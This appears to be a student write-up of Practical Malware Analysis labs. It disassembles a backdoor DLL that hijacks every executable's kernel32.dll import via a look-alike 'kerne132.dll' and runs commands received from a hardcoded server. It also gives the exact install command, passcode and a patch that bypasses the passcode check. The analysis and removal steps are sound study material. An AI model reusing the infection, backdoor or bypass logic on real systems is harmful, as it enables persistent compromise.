get_Left	DWORD : ;{84} (This,pl)
put_Left	DWORD : ;{88} (This,Left)
get_Top	DWORD : ;{92} (This,pl)
put_Top	DWORD : ;{96} (This,Top)
get_Width	DWORD : ;{100} (This,pl)
put_Width	DWORD : ;{104} (This,width)
get_Height	DWORD : ;{108} (This,pl)
put_Height	DWORD : ;{112} (This,Height)

ii. What is the purpose of this program?

Program just opens Internet explorer with an advertisement.
["http://www.malwareanalysisbook.com/ad.html."](http://www.malwareanalysisbook.com/ad.html)



iii. When will this program finish executing?

After some cleanup functions: `SysFreeString` and `OleUninitialize` program terminates.

c. For this lab, we obtained the malicious executable, Lab07-03.exe, and DLL, Lab07-03.dll, prior to executing. This is important to note because the malware might change once it runs. Both files were found in the same directory on the victim machine. If you run the program, you should ensure that both files are in the same directory on the analysis machine. A visible IP string beginning with 127 (a loopback address) connects to the local machine. (In the real version of this malware, this address connects to a remote machine, but we've set it to connect to localhost to protect you.)

i- How does this program achieve persistence to ensure that it continues running when the computer is restarted?


Persistence is achieved by writing file to
"C:\Windows\System32\Kerne132.dll"
and modifying every ".exe" file to import that library.

ii. What are two good host-based signatures for this malware?


Good host-based signatures are:
"C:\\Windows\\\\System32\\\\Kerne132.dll"
Mutex name "SADFHUHF"

iii. What is the purpose of this program.

Dynamic analysis Execute program with correct argument: "WARNING THIS WILL DESTROY YOUR MACHINE" modifies "WinRAR.exe" in my case.



Library "kerne132.dll" is replaced instead of "kernel32.dll" to executable.



Using API Monitor from [Rohitab](#) we identify what is it doing:
 Searching for executables ".exe" in C drive.
 If found opens it, Creates file mapping object, opens it in memory, searches if import is "kernel32.dll". Replaces with "kernel1.dll" Unmaps from memory. Closes handles.

Summary 64,182 of 299,591 calls 78% filtered out 94.99 MB used Lab07-03.exe				
#	Time of Day	Thread	Module	API
68723	2:40:10.724 PM	1	Lab07-03.exe	CreateFileA ("C:\Program Files\WinRAR\WinRAR.exe", GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING)
68735	2:40:10.724 PM	1	Lab07-03.exe	CreateFileMappingA (0x00000770, NULL, PAGE_READWRITE, 0, 0, NULL)
68737	2:40:11.425 PM	1	Lab07-03.exe	MapViewOfFile (0x00000774, FILE_MAP_ALL_ACCESS, 0, 0, 0)
68739	2:40:11.425 PM	1	Lab07-03.exe	IsBadReadPtr (0x02900110, 4)
68740	2:40:11.425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253d50c, 20)
68741	2:40:11.425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253e700, 20)
68742	2:40:11.425 PM	1	Lab07-03.exe	_strncpy ("KERNEL32.dll", "kernel32.dll")
68746	2:40:11.425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f100, 20)
68747	2:40:11.425 PM	1	Lab07-03.exe	_strncpy ("USER32.dll", "kernel32.dll")
68751	2:40:11.425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f200, 20)
68752	2:40:11.425 PM	1	Lab07-03.exe	_strncpy ("GDI32.dll", "kernel32.dll")
68756	2:40:11.425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f300, 20)
68757	2:40:11.425 PM	1	Lab07-03.exe	_strncpy ("COMDLG32.dll", "kernel32.dll")
68761	2:40:11.425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f500, 20)
68762	2:40:11.425 PM	1	Lab07-03.exe	_strncpy ("ADVAPI32.dll", "kernel32.dll")
68766	2:40:11.425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f700, 20)
68767	2:40:11.425 PM	1	Lab07-03.exe	_strncpy ("SHELL32.dll", "kernel32.dll")
68771	2:40:11.425 PM	1	Lab07-03.exe	IsBadReadPtr (0x0253f800, 20)

If any of executable (not in memory) is opened in "PEStudio", we see there only "kernel32.dll" library is imported.

library (5)	blodlist (0)	type (1)	Imports (45)	description
msvcrt.dll	-	import	1	Windows NT CRT DLL
advapi32.dll	-	import	3	Advanced Windows 32 Base API
kernel32.dll	-	import	29	NULL
user32.dll	-	import	5	Windows XP USER API Client DLL
shlwapi.dll	-	import	7	Shell Light-weight Utility Library

Static analysis Executable is launched with this parameter
"WARNING_THIS_WILL_DESTROY_YOUR_MACHINE"



```

mov    eax, [esp+54h+argv]
mov    esi, offset aWarningThisWill ; "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE"
mov    eax, [eax+4]

```

Opens file "C:\\Windows\\System32\\Kernel32.dll" (CreateFileA) with read permissions (File_Share_Read and Generic read). Creates mapping object (CreateFileMappingA with Page_ Readonly permissions) for this file. This mapping object is used to map (copy) in to the memory. Opens another file (CreateFileA in FILE_SHARE_READ mode) "Lab07-03.dll". Exits if failed to open the library (Lab07-03.dll).



```

mov    edi, ds>CreateFileA
push   eax          ; hTemplateFile
push   eax          ; dwFlagsAndAttributes
push   OPEN_EXISTING ; dwCreationDisposition
push   eax          ; lpSecurityAttributes
push   FILE_SHARE_READ ; dwShareMode
push   GENERIC_READ  ; dwDesiredAccess
push   offset FileName ; "C:\\Windows\\System32\\Kernel32.dll"
call   edi ; CreateFileA
mov    ebx, ds>CreateFileMappingA
push   0             ; lpName
push   0             ; dwMaximumSizeLow
push   0             ; dwMaximumSizeHigh
push   PAGE_READONLY ; flProtect
push   0             ; lpFileMappingAttributes
push   eax          ; hFile
mov    [esp+6Ch+hObject], eax
call   ebx ; CreateFileMappingA
mov    ebp, dsMapViewOfFile
push   0             ; dwNumberOfBytesToMap
push   0             ; dwFileOffsetLow
push   0             ; dwFileOffsetHigh
push   FILE_MAP_READ ; dwDesiredAccess
push   eax          ; hFileMappingObject
call   ebp ; MapViewOfFile
push   0             ; hTemplateFile
push   0             ; dwFlagsAndAttributes
push   OPEN_EXISTING ; dwCreationDisposition
push   0             ; lpSecurityAttributes
push   FILE_SHARE_READ ; dwShareMode
mov    esi, eax
push   GENERIC_ALL   ; dwDesiredAccess
push   offset ExistingFileName ; "Lab07-03.dll"
mov    [esp+70h+argc], esi
call   edi ; CreateFileA
cmp    eax, 0FFFFFFFh
mov    [esp+54h+var_4], eax
push   0             ; lpName
push   short loc_401503

```

Creates file mapping object of the library "Lab07-03.dll" (CreateFileMappingA with PAGE_READWRITE protection). Maps this object in to the memory (MapViewOfFile with FILE_MAP_ALL_ACCESS). Exits if failed to map.

```

call ds:exit
loc_401503:          ; dwMaximumSizeLow
push 0
push 0                 ; dwMaximumSizeHigh
push PAGE_READWRITE    ; flProtect
push 0                 ; lpFileMappingAttributes
push eax               ; hFile
call ebx ; CreateFileMappingA
cmp eax, 0FFFFFFFh
push 0                 ; dwNumberOfBytesToMap
jnz short loc_40151B

call ds:exit
loc_40151B:           ; dwFileOffsetLow
push 0
push 0                 ; dwFileOffsetHigh
push FILE_MAP_ALL_ACCESS ; dwDesiredAccess
push eax               ; hFileMappingObject
call ebp ; MapViewOfFile
mov ebp, eax
test ebp, ebp
mov [esp+54h+argv], ebp
jnz short loc_401538

push eax               ; Code
call ds:exit
loc_401538:
mov edi, [esi+3Ch]

```

Closes both handles of libraries. Copies file "Lab07-03.dll" to "C:\\windows\\system32\\kernel32.dll" (looks like original, except "l" letter is misspelled as number "1"). Zero and string "C:*" is passed as args to another function. * means all files located in C directory.


```

loc_4017D4:
mov ecx, [esp+54h+handle_of_kernel32.dll]
mov esi, ds:CloseHandle
push ecx               ; hObject
call esi ; CloseHandle
mov edx, [esp+54h+handle_of_Lab.dll]
push edx               ; hObject
call esi ; CloseHandle
push 0                 ; bFailIfExists
push offset NewFileName ; "C:\\windows\\system32\\kernel32.dll"
push offset ExistingFileName ; "Lab07-03.dll"
call ds:CopyFileA
test eax, eax
push 0                 ; int
jnz short loc_401806


call ds:exit
loc_401806:
push offset aC          ; "C:\\\\*"
call _vm_findfile
add esp, 8

```

Searches for the first file or folder (FindFirstFileA). Checks if file attribute is directory (FILE_ATTRIBUTE_DIRECTORY).



If not the directory checks if filename is equal to ".." (current directory).



Also compares if it is root directory ("..")

```
mov    esi, offset asc_40303C ; ".."
lea    eax, [esp+154h+FindFileData.cFileName]
```

Explanation:

If you enter "dir" command in "cmd.exe" see one dot (current directory) and two dots (root directory).

```
06/28/2020 05:17 AM <DIR> .
06/28/2020 05:17 AM <DIR> ..
```

For example if current directory is "C:\WINDOWS\system32", then root dir is "C:\WINDOWS". Also compares if it is root directory ("..")

```
mov    esi, offset asc_40303C ; ..
lea    eax, [esp+154h+FindFileData.cFileName]
```

```
lea edi, [esp+154h+FindFileData.cFileName] ; edi points to file name
or ecx, OFFFFFFFFFh ; clever way to set ecx to -1
xor eax, eax ; set eax register to zero
repne scasb ; repeat if eax and edi are not equal to null. Each cycle ecx is decremented, until it finds null symbol at the end of string.
not ecx ; inverts negative number to positive. Have string length + 1 (null byte)
dec ecx ; string length
All these assembly instruction do the same as strlen in c++. Allocates space for file name in memory (malloc).
Checks if file extension is ".exe".
```

```
loc_40135C:
lea    edi, [esp+154h+FindFileData.cFileName]
or    ecx, 0xFFFFFFFFh
xor   eax, eax
repne scasb
not   ecx
dec   ecx
mov   edi, ebp
lea   ebx, [esp+ecx+154h+FindFileData.dwReserved1]
or    ecx, 0xFFFFFFFFh
repne scasb
not   ecx
dec   ecx
lea   edi, [esp+154h+FindFileData.cFileName]
mov   edx, ecx
or    ecx, 0xFFFFFFFFh
repne scasb
not   ecx
dec   ecx
lea   eax, [edx+ecx+1]
push  eax           ; Size
call  ds:malloc
mov   edx, [esp+158h+lpFileName]
mov   ebp, eax
mov   edi, edx
or    ecx, 0xFFFFFFFFh
xor   eax, eax
push  offset aExe    ; ".exe"
repne scasb
not   ecx
sub   edi, ecx
push  ebx           ; Str1
mov   eax, ecx
mov   esi, edi
mov   edi, ebp
shr   ecx, 2
rep movsd
mov   ecx, eax
xor   eax, eax
and   ecx, 3
rep movsb
mov   edi, edx
or    ecx, 0xFFFFFFFFh
repne scasb
not   ecx
dec   ecx
lea   edi, [esp+160h+FindFileData.cFileName]
mov   [ecx+ebp-1], al
or    ecx, 0xFFFFFFFFh
repne scasb
not   ecx
sub   edi, ecx
mov   esi, edi
mov   edx, ecx
mov   edi, ebp
or    ecx, 0xFFFFFFFFh
repne scasb
mov   ecx, edx
dec   edi
shr   ecx, 2
rep movsd
mov   ecx, edx
and   ecx, 3
rep movsb
call  ds:_strcmp
add   esp, 8Ch
test  eax, eax
jnz   short loc_40140C
```

When enumerates all files in the directory it pushes another string "\\\\" and calls the same function again (recursive function). Enters the sub folder and repeat enumeration process. Find all executable files in the C drive (FindNextFileA).

```

mov    edi, offset asc_403038 ; "\\\" 
or     ecx, 0FFFFFFFh
repne scasb
not   ecx
sub   edi, ecx
mov   esi, edi
mov   ebx, ecx
mov   edi, edx
or     ecx, 0FFFFFFFh
repne scasb
mov   ecx, ebx
dec   edi
shr   ecx, 2
rep movsd
mov   ecx, ebx
and   ecx, 3
rep movsb
mov   ecx, [esp+158h+arg_4]
inc   ecx
push  ecx           ; int
push  edx           ; lpFileName
call  _wsFindfile
add   esp, 0Ch
jmp   loc_401413

```



```

loc_401413:
mov   esi, [esp+154h+hFindFile]
lea   eax, [esp+154h+FindFileData]
push  eax           ; lpFindfileData
push  esi           ; hFindFile
call  ds:FindNextFileA
test  eax, eax
jz    short loc_401434

```



```

loc_40142C:          ; hFindFile
push  0FFFFFFFh
call  ds:FindClose

```

Checks if file has "PE" header.

```

call  ds:MapViewOfFile
mov   esi, eax
test  esi, esi
mov   [esp+1Ch+var_C], esi
jz    loc_4011D5

```



```

mov   ebp, [esi+3Ch]
mov   ebx, ds:IsBadReadPtr
add   ebp, esi
push  4             ; ucb
push  ebp           ; lp
call  ebx ; IsBadReadPtr
test  eax, eax
jnz   loc_4011D5

```




```

cmp   dword ptr [ebp+0], 4550h
jnz   loc_4011D5

```

Example: **Image_File_Header** -> **e_lfanew** (Offset to PE Header)



Dll creates or opens the mutex "SADFHUHF". Mutex are usefull to check if instance of the program has been executed before or not.

```

mov    al, byte_10026054
mov    ecx, 3FFh
mov    [esp+1208h+buf], al
xor    eax, eax
lea    edi, [esp+1208h+var_FFF]
push   offset Name      ; "SADFHUHF"
rep stosd
stosw
push   0                 ; bInheritHandle
push   MUTEX_ALL_ACCESS ; dwDesiredAccess
stosb
call   ds:OpenMutexA
test   eax, eax
jnz   loc_100011E8

```



```

push   offset Name      ; "SADFHUHF"
push   eax              ; bInitialOwner
push   eax              ; lpMutexAttributes
call   ds>CreateMutexA
lea    ecx, [esp+1208h+WSAData]
push   ecx              ; lpWSAData
push   202h              ; wVersionRequested
call   ds:WSAStartup
test   eax, eax
jnz   loc_100011E8

```

Initiates Winsock dll function (WSAStartup) uses TCP protocol to connect to server "127.26.152.13:80".

```

push    IPPROTO_TCP      ; protocol
push    SOCK_STREAM       ; type
push    AF_INET           ; af
call    ds:socket
mov     esi, eax
cmp     esi, 0xFFFFFFFFh
jz     loc_100011E2

push    offset cp          ; "127.26.152.13"
mov     [esp+120Ch+name.sa_family], 2
call   ds:inet_addr
push    80                 ; hostshort
mov     dword ptr [esp+120Ch+name.sa_data+2], eax
call   ds:htons
lea     edx, [esp+1208h+name]
push    10h                ; namelen
push    edx                ; name
push    esi                ; s
mov     word ptr [esp+1214h+name.sa_data], ax
call   ds:connect
cmp     eax, 0xFFFFFFFFh
jz     loc_100011DB

```

If connects to server, sends hello message: "hello".
Disables send on a socket (shutdown).

```

loc_100010E9:
mov    edi, offset buf ; "hello"
or    ecx, 0xFFFFFFFFh
xor   eax, eax
push  0                 ; flags
repne scasb
not   ecx
dec   ecx
push  ecx                ; len
push  offset buf          ; "hello"
push  esi                ; s
call  ds:send
cmp   eax, 0xFFFFFFFFh
jz    loc_100011DB

```




```

push  SD_SEND            ; how
push  esi                ; s
call  ds:shutdown
cmp   eax, 0xFFFFFFFFh
jz    loc_100011DB

```

Ready to receive command from the server. Received message is up to 4096 bytes length. Compares if command is "sleep" (sleeps for 1 min and repeats the same from sending hello message).



If command is "exec", Creates process ([CreateProcessA](#)) with argument "CREATE_NO_WINDOW". One of the most important parameter is lpCommandLine. Looking backwards edx register is pushed on to the stack. edx has the address of CommandLine (calculated using lea instruction).

```

mov ecx, 11h
lea edi, [esp+1208h+StartupInfo]
rep stosd
lea eax, [esp+1208h+ProcessInformation]
lea ecx, [esp+1208h+StartupInfo]
push eax ; lpProcessInformation
push ecx ; lpStartupInfo
push 0 ; lpCurrentDirectory
push 0 ; lpEnvironment
push CREATE_NO_WINDOW ; dwCreationFlags
push 1 ; bInheritHandles
push 0 ; lpThreadAttributes
lea edx, [esp+1224h+CommandLine]
push 0 ; lpProcessAttributes
push edx ; lpCommandLine
push 0 ; lpApplicationName
mov [esp+1230h+StartupInfo.cb], 44h ; 'D'
call ebx ; CreateProcessA
jmp loc_100010E9
  
```

This address doesn't appear anywhere except the beginning of function:

```
; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
_DllMain@12 proc near

hObject= dword ptr -11F8h
name= sockaddr ptr -11F4h
ProcessInformation= _PROCESS_INFORMATION ptr -11E4h
StartupInfo= _STARTUPINFOA ptr -11D4h
WSAData= WSAData ptr -1190h
buf= byte ptr -1000h
var_FFF= byte ptr -0FFFh
CommandLine= byte ptr -0FFBh
hinstDLL= dword ptr 4
fdwReason= dword ptr 8
lpvReserved= dword ptr 0Ch

mov    eax, 11F8h
call   _alloca_probe
mov    eax, [esp+11F8h+fdwReason]
push   ebx
push   ebp
push   esi
cmp    eax, 1
push   edi
jnz    loc_100011E8
```

It means that it has not defined CommandLine already. The value appears on a runtime, when command is received from server. Variables has negative, while arguments - positive value. CommandLine is the variable. buf contains the received command and CommandLine contains what to execute. The difference between buf and CommandLine are 5 bytes. $1000h - FFBh = 5$ (h means in hexadecimal).

```


-00000000000011FF db ? ; undefined
-00000000000011FE db ? ; undefined
-00000000000011FD db ? ; undefined
-00000000000011FC db ? ; undefined
-00000000000011FB db ? ; undefined
-00000000000011FA db ? ; undefined
-00000000000011F9 db ? ; undefined
-00000000000011F8 hObject dd ? ; offset
-00000000000011F4 name sockaddr ?
-00000000000011E4 ProcessInformation _PROCESS_INFORMATION ?
-00000000000011D4 StartupInfo _STARTUPINFOA ?
-0000000000001190 WSADATA WSADATA ?
-0000000000001000 buf db ?
-000000000000FFF var_FFF db ?
-000000000000FFE db ? ; undefined
-000000000000FFD db ? ; undefined
-000000000000FFC db ? ; undefined
-000000000000FFB CommandLine db ?
-000000000000FFA db ? ; undefined
-000000000000FF9 db ? ; undefined
-000000000000FF8 db ? ; undefined
-000000000000FF7 db ? ; undefined
-000000000000FF6 db ? ; undefined
-000000000000FF5 db ? ; undefined
-000000000000FF4 db ? ; undefined
-000000000000FF3 db ? ; undefined

```

→

SP+000000000000000208

If we look at the received buff command, we got "exec", which is 4 bytes long. Mostly the space (fifth byte) is the separator between exec and CommandLine. Strings are the arrays (index will be visualized as the arrow where it points). Index points before or after the symbol, not on the letter itself. Every array starts from zero index - [0] (before "e" letter). Index of [1] -points after "e" and before "x".



If command is "q" exits loop. If none of them - Sleep for 1 minute and loop.


When executable is found, calls mv_mapfile function (renamed by myself). Opens executable (CreateFileA). Creates mapping object (CreateFileMappingA). Maps file in to the memory (MapViewOfFile).

```
; int __cdecl mv_mapfile(LPCSTR lpFileName)
_mv_mapfile proc near

var_C= dword ptr -0Ch
hObject= dword ptr -8
var_4= dword ptr -4
lpFileName= dword ptr 4

sub    esp, 0Ch
push   ebx
mov    eax, [esp+10h+lpFileName]
push   ebp
push   esi
push   edi
push   0          ; hTemplateFile
push   0          ; dwFlagsAndAttributes
push   OPEN_EXISTING ; dwCreationDisposition
push   0          ; lpSecurityAttributes
push   FILE_SHARE_READ ; dwShareMode
push   GENERIC_ALL  ; dwDesiredAccess
push   eax         ; lpFileName
call   ds>CreateFileA
push   0          ; lpName
push   0          ; dwMaximumSizeLow
push   0          ; dwMaximumSizeHigh
push   PAGE_READWRITE ; flProtect
push   0          ; lpFileMappingAttributes
push   eax         ; hFile
mov    [esp+34h+var_4], eax
call   ds>CreateFileMappingA
push   0          ; dwNumberOfBytesToMap
push   0          ; dwFileOffsetLow
push   0          ; dwFileOffsetHigh
push   FILE_MAP_ALL_ACCESS ; dwDesiredAccess
push   eax         ; hFileMappingObject
mov    [esp+30h+hObject], eax
call   ds>MapViewOfFile
mov    esi, eax
test  esi, esi
mov    [esp+1Ch+var_C], esi
jz    loc_4011D5
```

Esi register points to start of the file.
 mov ebp, [esi + 3Ch]; dosheader->e_lfanew
 cmp dword ptr [ebp+0], 4550h ; Check if valid 'PE' header.
 To understand this you should know [PE structure](#).



The screenshot shows two windows from PEViewer. The top window displays assembly code:

```

mov    ebp, [esi+3Ch]
mov    ebx, ds: IsBadReadPtr
add    ebp, esi
push   4          ; ucb
push   ebp          ; lp
call   ebx ; IsBadReadPtr
test   eax, eax
jnz    loc_4011D5

```

The bottom window shows a memory dump with the instruction:

```

cmp    dword ptr [ebp+0], 4550h
jnz    loc_4011D5


```

Red arrows point from the assembly code to the memory dump, indicating the flow of control.

Explanation:

File is opened in PEViewer. 3Ch (RVA-Relative virtual address) points to offset to New EXE Header. In order to get the value (Data), it should be de referenced [] brackets grabs what's at that address: E8h (in our example).

DosHeader->e_lfanew (equivalent in c++)



The screenshot shows the file structure of Lab07-03.exe and a table of header values.

	RVA	Data	Description
IMAGE_DOS_HEADER	00000022	0000	Reserved
MS-DOS Stub Program	00000024	0000	OEM Identifier
IMAGE_NT_HEADERS	00000026	0000	OEM Information
Signature	00000028	0000	Reserved
IMAGE_FILE_HEADER	0000002A	0000	Reserved
IMAGE_OPTIONAL_HEADER	0000002C	0000	Reserved
IMAGE_SECTION_HEADER text	0000002E	0000	Reserved
IMAGE_SECTION_HEADER .rdata	00000030	0000	Reserved
IMAGE_SECTION_HEADER .data	00000032	0000	Reserved
SECTION .text	00000034	0000	Reserved
SECTION .rdata	00000036	0000	Reserved
SECTION .data	00000038	0000	Reserved
	0000003A	0000	Reserved
	0000003C	000000E8	Offset to New EXE Header

Viewing IMAGE_DOS_HEADER

However grabbed offset to New EXE Header is another address.
Should be de referenced again.
Image_NT_Signature is at the address E8h (RVA).


	RVA	Data	Description	Value
Lab07-03.exe	000000E8	00004550	Signature	IMAGE_NT_SIGNATURE PE

Lab07-03.exe structure:

- IMAGE_DOS_HEADER
- MS-DOS Stub Program
- IMAGE_NT_HEADERS
 - Signature
 - IMAGE_FILE_HEADER
 - IMAGE_OPTIONAL_HEADER
 - IMAGE_SECTION_HEADER text
 - IMAGE_SECTION_HEADER rdata
 - IMAGE_SECTION_HEADER data
 - SECTION text
 - SECTION rdata
 - SECTION data

Checks if valid PE file:

ImageNtHeaders->Signature != 'PE' (equivalent in c++) Call
IsBadReadPtr to check if the calling process has read access to
that memory region.



String Str1 is compared to "kernel32.dll".

```

push    offset Str2      ; "kernel32.dll"
push    ebx                ; Str1
call    ds:_strcmp
add     esp, 8
test   eax, eax
jnz    short loc_4011A7

```



```

mov     edi, ebx
or     ecx, 0FFFFFFFh
repne scasb
not    ecx
mov     eax, ecx
mov     esi, offset dword_403010
mov     edi, ebx
shr     ecx, 2
rep movsd
mov     ecx, eax
and     ecx, 3
rep movsb
mov     esi, [esp+1Ch+var_C]
mov     edi, [esp+1Ch+lpFileName]

```

Two instructions represents strlen (repne scasb) and memcpy (rep movsd). Using repne scasb we get length of the string. rep movsd instruction moves byte from esi to edi register ecx times (ecx = string length). mov esi, offset dword_403010

```

.data:00403010 dword_403010    dd 6E72656Bh          ; DATA XREF: _mv_mapfile+EC?o
.data:00403010                  ; _main+1AB?r
.data:00403014 dword_403014    dd 32333165h          ; DATA XREF: _main+1B9?r
.data:00403018 dword_403018    dd 6C6C642Eh          ; DATA XREF: _main+1C2?r
.data:0040301C dword_40301C    dd 0                   ; DATA XREF: _main+1CB?r

```

If we open dword_403010 we see that is actually ascii letters (looking in ascii table we see that numbers and letters starts from 30h to 7Ah)


Dec	Hx	Oct	Char	Dec	Hx	Oct	Html	Chr	Dec	Hx	Oct	Html	Chr	Dec	Hx	Oct	Html	Chr	
0	0 000	000	NUL (null)	32	20 040	0#32;	Space	64	40 100	0#64;	0	96	60 140	0#96;	'	96	60 140	0#96;	'
1	1 001	001	SOH (start of heading)	33	21 041	0#33;	!	65	41 101	0#65;	A	97	61 141	0#97;	a	97	61 141	0#97;	a
2	2 002	002	STX (start of text)	34	22 042	0#34;	"	66	42 102	0#66;	B	98	62 142	0#98;	b	98	62 142	0#98;	b
3	3 003	003	ETX (end of text)	35	23 043	0#35;	#	67	43 103	0#67;	C	99	63 143	0#99;	c	99	63 143	0#99;	c
4	4 004	004	EOT (end of transmission)	36	24 044	0#36;	\$	68	44 104	0#68;	D	100	64 144	0#100;	d	100	64 144	0#100;	d
5	5 005	005	ENQ (enquiry)	37	25 045	0#37;	%	69	45 105	0#69;	E	101	65 145	0#101;	e	101	65 145	0#101;	e
6	6 006	006	ACK (acknowledge)	38	26 046	0#38;	<	70	46 106	0#70;	F	102	66 146	0#102;	f	102	66 146	0#102;	f
7	7 007	007	BEL (bell)	39	27 047	0#39;	,	71	47 107	0#71;	G	103	67 147	0#103;	g	103	67 147	0#103;	g
8	8 010	010	BS (backspace)	40	28 050	0#40;	(72	48 110	0#72;	H	104	68 150	0#104;	h	104	68 150	0#104;	h
9	9 011	011	TAB (horizontal tab)	41	29 051	0#41;)	73	49 111	0#73;	I	105	69 151	0#105;	i	105	69 151	0#105;	i
10	A 012	012	LF (NL line feed, new line)	42	2A 052	0#42;	:	74	4A 112	0#74;	J	106	6A 152	0#106;	j	106	6A 152	0#106;	j
11	B 013	013	VT (vertical tab)	43	2B 053	0#43;	+	75	4B 113	0#75;	K	107	6B 153	0#107;	k	107	6B 153	0#107;	k
12	C 014	014	FF (NP form feed, new page)	44	2C 054	0#44;	-	76	4C 114	0#76;	L	108	6C 154	0#108;	l	108	6C 154	0#108;	l
13	D 015	015	CR (carriage return)	45	2D 055	0#45;	-	77	4D 115	0#77;	M	109	6D 155	0#109;	m	109	6D 155	0#109;	m
14	E 016	016	SO (shift out)	46	2E 056	0#46;	.	78	4E 116	0#78;	N	110	6E 156	0#110;	n	110	6E 156	0#110;	n
15	F 017	017	SI (shift in)	47	2F 057	0#47;	/	79	4F 117	0#79;	O	111	6F 157	0#111;	o	111	6F 157	0#111;	o
16	10 020	020	BLE (data link escape)	48	30 060	0#48;	0	80	50 120	0#80;	P	112	70 160	0#112;	p	112	70 160	0#112;	p
17	11 021	021	DC1 (device control 1)	49	31 061	0#49;	1	81	51 121	0#81;	Q	113	71 161	0#113;	q	113	71 161	0#113;	q
18	12 022	022	DC2 (device control 2)	50	32 062	0#50;	2	82	52 122	0#82;	R	114	72 162	0#114;	r	114	72 162	0#114;	r
19	13 023	023	DC3 (device control 3)	51	33 063	0#51;	3	83	53 123	0#83;	S	115	73 163	0#115;	s	115	73 163	0#115;	s
20	14 024	024	DC4 (device control 4)	52	34 064	0#52;	4	84	54 124	0#84;	T	116	74 164	0#116;	t	116	74 164	0#116;	t
21	15 025	025	NAK (negative acknowledge)	53	35 065	0#53;	5	85	55 125	0#85;	U	117	75 165	0#117;	u	117	75 165	0#117;	u
22	16 026	026	SYN (synchronous idle)	54	36 066	0#54;	6	86	56 126	0#86;	V	118	76 166	0#118;	v	118	76 166	0#118;	v
23	17 027	027	ETB (end of trans. block)	55	37 067	0#55;	7	87	57 127	0#87;	W	119	77 167	0#119;	w	119	77 167	0#119;	w
24	18 030	030	CAN (cancel)	56	38 070	0#56;	8	88	58 130	0#88;	X	120	78 170	0#120;	x	120	78 170	0#120;	x
25	19 031	031	EM (end of medium)	57	39 071	0#57;	9	89	59 131	0#89;	Y	121	79 171	0#121;	y	121	79 171	0#121;	y
26	1A 032	032	SUB (substitute)	58	3A 072	0#58;	:	90	5A 132	0#90;	Z	122	7A 172	0#122;	z	122	7A 172	0#122;	z
27	1B 033	033	ESC (escape)	59	3B 073	0#59;	:	91	5B 133	0#91;	[123	7B 173	0#123;	[123	7B 173	0#123;	[
28	1C 034	034	FS (file separator)	60	3C 074	0#60;	<	92	5C 134	0#92;	\	124	7C 174	0#124;	\	124	7C 174	0#124;	\
29	1D 035	035	GS (group separator)	61	3D 075	0#61;	=	93	5D 135	0#93;]	125	7D 175	0#125;]	125	7D 175	0#125;]
30	1E 036	036	RJ (record separator)	62	3E 076	0#62;	>	94	5E 136	0#94;	^	126	7E 176	0#126;	~	126	7E 176	0#126;	~
31	1F 037	037	US (unit separator)	63	3F 077	0#63;	?	95	5F 137	0#95;	_	127	7F 177	0#127;	DEL	127	7F 177	0#127;	DEL

lookuptables.com

By pressing "a" (convert data to string in IDA) two times we get "kerne132.dll":

```
.data:00403010 aKerne132Dll db 'kerne132.dll',0 ; DATA XREF: _mv_mapfile+ECfo
```

String Str1 is our source, which is "kernel32.dll" and replaced by the string kernel132.dll (destination). Access import table:
 mov ecx, [ebp+80h] ; Import table RVA: E8h+80h=168h



Viewing IMAGE_OPTIONAL_HEADER

iv. How could you remove this malware once it is installed?

Malware could be removed replacing imports to original "kernel32.dll" for every executable. Using automated program or script to do this. Or original "kernel32.dll" replaced of "kerne132.dll" Or reinstall windows operating system.

d. Analyze the malware found in the file Lab09-01.exe using OllyDbg and IDA Pro to answer the following questions. This malware was initially analyzed in the Chapter 3 labs using basic static and dynamic analysis techniques**i. How can you get this malware to install itself?**

To install this malware, we need to reach the function @0x00402600. In this function, we can see function call to [OpenSCManagerA](#), [ChangeServiceConfigA](#), [CreateServiceA](#), [CopyFileA](#) and registry creation. All these are functions to make the malware persistence.

To get to the install function @0x00402600 we would need to run this malware with either 2 or 3 arguments (excluding program name). We would need to enter a correct passcode as the last argument and "-in" as the 1st argument.

To install the malware just execute it as "**Lab09-01.exe -in abcd**"

We can also choose to patch the following opcode "jnz" to "jz" at address 0x00402B38 to bypass the passcode check.

```

.....
.text:00402B1D loc_402B1D:           ; CODE XREF: _main+11↑j
.text:00402B1D     mov    eax, [ebp+argc]
.text:00402B20     mov    ecx, [ebp+argv]
.text:00402B23     mov    edx, [ecx+eax*4-4]
.text:00402B27     mov    [ebp+var_4], edx
.text:00402B2A     mov    eax, [ebp+var_4]
.text:00402B2D     push   eax
.text:00402B2E     call   passcode      ; abcd
.text:00402B33     add    esp, 4
.text:00402B36     test   eax, eax
.text:00402B38     jnz   short loc_402B3F
.text:00402B3A     call   DeleteFile
.text:00402B3F :
.text:00402B3F loc_402B3F:           ; CODE XREF: _main+48↑j
.text:00402B3F     mov    ecx, [ebp+argv]
.text:00402B42     mov    edx, [ecx+4]
.text:00402B45     mov    [ebp+var_1820], edx
.text:00402B48     push   offset aIn      ; unsigned __int8 *
.text:00402B50     mov    eax, [ebp+var_1820]
.text:00402B56     push   eax          ; unsigned __int8 *
.text:00402B57     call   _nbstrcmp
.text:00402B5C     add    esp, 8
.text:00402B5F     test   eax, eax
.text:00402B61     jnz   short loc_402BC7
.text:00402B63     cmp   [ebp+argc], 3
.text:00402B67     jnz   short loc_402B9A
.text:00402B69     push   400h
.text:00402B6E     lea    ecx, [ebp+ServiceName]
.text:00402B74     push   ecx          ; char *
.text:00402B75     call   getCurrentFileName
.text:00402B7A     add    esp, 8
.text:00402B7D     test   eax, eax
.text:00402B7F     jz    short loc_402B89
.text:00402B81     or    eax, 0xFFFFFFFFh
.text:00402B84     jmp   loc_402D78
.text:00402B89 :

```


if you want to install it with a custom service name such as jmpRSP, you may execute it as “Lab09-01.exe -in jmpRSP abcd”.

ii. What are the command-line options for this program? What is the password requirement?

The 4 command line accepted by the program are


1. -in; install
2. -re; uninstall
3. -cc; parse registry and prints it out
4. -c; set Registry

